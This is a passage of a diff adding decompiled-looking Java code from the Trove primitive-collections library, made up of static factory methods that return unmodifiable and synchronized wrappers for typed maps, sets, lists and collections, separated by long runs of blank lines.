+  public static gnu.trove.map.TShortFloatMap unmodifiableMap(gnu.trove.map.TShortFloatMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableShortFloatMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TShortIntMap unmodifiableMap(gnu.trove.map.TShortIntMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableShortIntMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TShortLongMap unmodifiableMap(TShortLongMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableShortLongMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TShortByteMap unmodifiableMap(gnu.trove.map.TShortByteMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableShortByteMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TShortShortMap unmodifiableMap(TShortShortMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableShortShortMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TShortCharMap unmodifiableMap(TShortCharMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableShortCharMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TCharDoubleMap unmodifiableMap(TCharDoubleMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableCharDoubleMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TCharFloatMap unmodifiableMap(gnu.trove.map.TCharFloatMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableCharFloatMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TCharIntMap unmodifiableMap(gnu.trove.map.TCharIntMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableCharIntMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TCharLongMap unmodifiableMap(TCharLongMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableCharLongMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TCharByteMap unmodifiableMap(gnu.trove.map.TCharByteMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableCharByteMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TCharShortMap unmodifiableMap(TCharShortMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableCharShortMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TCharCharMap unmodifiableMap(TCharCharMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableCharCharMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> gnu.trove.map.TDoubleObjectMap<V> unmodifiableMap(gnu.trove.map.TDoubleObjectMap<V> m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableDoubleObjectMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> TFloatObjectMap<V> unmodifiableMap(TFloatObjectMap<V> m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableFloatObjectMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> TIntObjectMap<V> unmodifiableMap(TIntObjectMap<V> m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableIntObjectMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> TLongObjectMap<V> unmodifiableMap(TLongObjectMap<V> m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableLongObjectMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> TByteObjectMap<V> unmodifiableMap(TByteObjectMap<V> m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableByteObjectMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> gnu.trove.map.TShortObjectMap<V> unmodifiableMap(gnu.trove.map.TShortObjectMap<V> m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableShortObjectMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> gnu.trove.map.TCharObjectMap<V> unmodifiableMap(gnu.trove.map.TCharObjectMap<V> m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableCharObjectMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K> TObjectDoubleMap<K> unmodifiableMap(TObjectDoubleMap<K> m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableObjectDoubleMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K> gnu.trove.map.TObjectFloatMap<K> unmodifiableMap(gnu.trove.map.TObjectFloatMap<K> m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableObjectFloatMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K> gnu.trove.map.TObjectIntMap<K> unmodifiableMap(gnu.trove.map.TObjectIntMap<K> m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableObjectIntMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K> TObjectLongMap<K> unmodifiableMap(TObjectLongMap<K> m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableObjectLongMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K> TObjectByteMap<K> unmodifiableMap(TObjectByteMap<K> m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableObjectByteMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K> TObjectShortMap<K> unmodifiableMap(TObjectShortMap<K> m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableObjectShortMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K> TObjectCharMap<K> unmodifiableMap(TObjectCharMap<K> m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableObjectCharMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleCollection synchronizedCollection(TDoubleCollection c)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedDoubleCollection(c);
+  }
+  
+  static TDoubleCollection synchronizedCollection(TDoubleCollection c, Object mutex) {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedDoubleCollection(c, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatCollection synchronizedCollection(TFloatCollection c)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedFloatCollection(c);
+  }
+  
+  static TFloatCollection synchronizedCollection(TFloatCollection c, Object mutex) {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedFloatCollection(c, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TIntCollection synchronizedCollection(TIntCollection c)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedIntCollection(c);
+  }
+  
+  static TIntCollection synchronizedCollection(TIntCollection c, Object mutex) {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedIntCollection(c, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongCollection synchronizedCollection(TLongCollection c)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedLongCollection(c);
+  }
+  
+  static TLongCollection synchronizedCollection(TLongCollection c, Object mutex) {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedLongCollection(c, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteCollection synchronizedCollection(TByteCollection c)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedByteCollection(c);
+  }
+  
+  static TByteCollection synchronizedCollection(TByteCollection c, Object mutex) {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedByteCollection(c, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TShortCollection synchronizedCollection(TShortCollection c)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedShortCollection(c);
+  }
+  
+  static TShortCollection synchronizedCollection(TShortCollection c, Object mutex) {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedShortCollection(c, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TCharCollection synchronizedCollection(TCharCollection c)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedCharCollection(c);
+  }
+  
+  static TCharCollection synchronizedCollection(TCharCollection c, Object mutex) {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedCharCollection(c, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleSet synchronizedSet(TDoubleSet s)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedDoubleSet(s);
+  }
+  
+  static TDoubleSet synchronizedSet(TDoubleSet s, Object mutex) {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedDoubleSet(s, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatSet synchronizedSet(TFloatSet s)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedFloatSet(s);
+  }
+  
+  static TFloatSet synchronizedSet(TFloatSet s, Object mutex) {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedFloatSet(s, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TIntSet synchronizedSet(TIntSet s)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedIntSet(s);
+  }
+  
+  static TIntSet synchronizedSet(TIntSet s, Object mutex) {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedIntSet(s, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongSet synchronizedSet(TLongSet s)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedLongSet(s);
+  }
+  
+  static TLongSet synchronizedSet(TLongSet s, Object mutex) {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedLongSet(s, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteSet synchronizedSet(TByteSet s)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedByteSet(s);
+  }
+  
+  static TByteSet synchronizedSet(TByteSet s, Object mutex) {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedByteSet(s, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TShortSet synchronizedSet(TShortSet s)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedShortSet(s);
+  }
+  
+  static TShortSet synchronizedSet(TShortSet s, Object mutex) {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedShortSet(s, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TCharSet synchronizedSet(TCharSet s)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedCharSet(s);
+  }
+  
+  static TCharSet synchronizedSet(TCharSet s, Object mutex) {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedCharSet(s, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleList synchronizedList(TDoubleList list)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TSynchronizedCollections.TSynchronizedRandomAccessDoubleList(list) : new gnu.trove.impl.TSynchronizedCollections.TSynchronizedDoubleList(list);
+  }
+  
+
+  static TDoubleList synchronizedList(TDoubleList list, Object mutex)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TSynchronizedCollections.TSynchronizedRandomAccessDoubleList(list, mutex) : new gnu.trove.impl.TSynchronizedCollections.TSynchronizedDoubleList(list, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatList synchronizedList(TFloatList list)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TSynchronizedCollections.TSynchronizedRandomAccessFloatList(list) : new gnu.trove.impl.TSynchronizedCollections.TSynchronizedFloatList(list);
+  }
+  
+
+  static TFloatList synchronizedList(TFloatList list, Object mutex)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TSynchronizedCollections.TSynchronizedRandomAccessFloatList(list, mutex) : new gnu.trove.impl.TSynchronizedCollections.TSynchronizedFloatList(list, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TIntList synchronizedList(TIntList list)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TSynchronizedCollections.TSynchronizedRandomAccessIntList(list) : new gnu.trove.impl.TSynchronizedCollections.TSynchronizedIntList(list);
+  }
+  
+
+  static TIntList synchronizedList(TIntList list, Object mutex)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TSynchronizedCollections.TSynchronizedRandomAccessIntList(list, mutex) : new gnu.trove.impl.TSynchronizedCollections.TSynchronizedIntList(list, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongList synchronizedList(TLongList list)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TSynchronizedCollections.TSynchronizedRandomAccessLongList(list) : new gnu.trove.impl.TSynchronizedCollections.TSynchronizedLongList(list);
+  }
+  
+
+  static TLongList synchronizedList(TLongList list, Object mutex)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TSynchronizedCollections.TSynchronizedRandomAccessLongList(list, mutex) : new gnu.trove.impl.TSynchronizedCollections.TSynchronizedLongList(list, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteList synchronizedList(TByteList list)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TSynchronizedCollections.TSynchronizedRandomAccessByteList(list) : new gnu.trove.impl.TSynchronizedCollections.TSynchronizedByteList(list);
+  }
+  
+
+  static TByteList synchronizedList(TByteList list, Object mutex)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TSynchronizedCollections.TSynchronizedRandomAccessByteList(list, mutex) : new gnu.trove.impl.TSynchronizedCollections.TSynchronizedByteList(list, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TShortList synchronizedList(TShortList list)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TSynchronizedCollections.TSynchronizedRandomAccessShortList(list) : new gnu.trove.impl.TSynchronizedCollections.TSynchronizedShortList(list);
+  }
+  
+
+  static TShortList synchronizedList(TShortList list, Object mutex)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TSynchronizedCollections.TSynchronizedRandomAccessShortList(list, mutex) : new gnu.trove.impl.TSynchronizedCollections.TSynchronizedShortList(list, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TCharList synchronizedList(TCharList list)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TSynchronizedCollections.TSynchronizedRandomAccessCharList(list) : new gnu.trove.impl.TSynchronizedCollections.TSynchronizedCharList(list);
+  }
+  
+
+  static TCharList synchronizedList(TCharList list, Object mutex)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TSynchronizedCollections.TSynchronizedRandomAccessCharList(list, mutex) : new gnu.trove.impl.TSynchronizedCollections.TSynchronizedCharList(list, mutex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleDoubleMap synchronizedMap(TDoubleDoubleMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedDoubleDoubleMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleFloatMap synchronizedMap(TDoubleFloatMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedDoubleFloatMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleIntMap synchronizedMap(TDoubleIntMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedDoubleIntMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleLongMap synchronizedMap(TDoubleLongMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedDoubleLongMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleByteMap synchronizedMap(TDoubleByteMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedDoubleByteMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleShortMap synchronizedMap(TDoubleShortMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedDoubleShortMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleCharMap synchronizedMap(TDoubleCharMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedDoubleCharMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatDoubleMap synchronizedMap(TFloatDoubleMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedFloatDoubleMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatFloatMap synchronizedMap(TFloatFloatMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedFloatFloatMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatIntMap synchronizedMap(TFloatIntMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedFloatIntMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatLongMap synchronizedMap(TFloatLongMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedFloatLongMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatByteMap synchronizedMap(TFloatByteMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedFloatByteMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatShortMap synchronizedMap(TFloatShortMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedFloatShortMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatCharMap synchronizedMap(TFloatCharMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedFloatCharMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TIntDoubleMap synchronizedMap(gnu.trove.map.TIntDoubleMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedIntDoubleMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TIntFloatMap synchronizedMap(TIntFloatMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedIntFloatMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TIntIntMap synchronizedMap(TIntIntMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedIntIntMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TIntLongMap synchronizedMap(gnu.trove.map.TIntLongMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedIntLongMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TIntByteMap synchronizedMap(TIntByteMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedIntByteMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TIntShortMap synchronizedMap(gnu.trove.map.TIntShortMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedIntShortMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TIntCharMap synchronizedMap(TIntCharMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedIntCharMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TLongDoubleMap synchronizedMap(gnu.trove.map.TLongDoubleMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedLongDoubleMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongFloatMap synchronizedMap(TLongFloatMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedLongFloatMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongIntMap synchronizedMap(TLongIntMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedLongIntMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongLongMap synchronizedMap(TLongLongMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedLongLongMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongByteMap synchronizedMap(TLongByteMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedLongByteMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongShortMap synchronizedMap(TLongShortMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedLongShortMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongCharMap synchronizedMap(TLongCharMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedLongCharMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteDoubleMap synchronizedMap(TByteDoubleMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedByteDoubleMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteFloatMap synchronizedMap(TByteFloatMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedByteFloatMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteIntMap synchronizedMap(TByteIntMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedByteIntMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TByteLongMap synchronizedMap(gnu.trove.map.TByteLongMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedByteLongMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteByteMap synchronizedMap(TByteByteMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedByteByteMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteShortMap synchronizedMap(TByteShortMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedByteShortMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteCharMap synchronizedMap(TByteCharMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedByteCharMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TShortDoubleMap synchronizedMap(TShortDoubleMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedShortDoubleMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TShortFloatMap synchronizedMap(gnu.trove.map.TShortFloatMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedShortFloatMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TShortIntMap synchronizedMap(gnu.trove.map.TShortIntMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedShortIntMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TShortLongMap synchronizedMap(TShortLongMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedShortLongMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TShortByteMap synchronizedMap(gnu.trove.map.TShortByteMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedShortByteMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
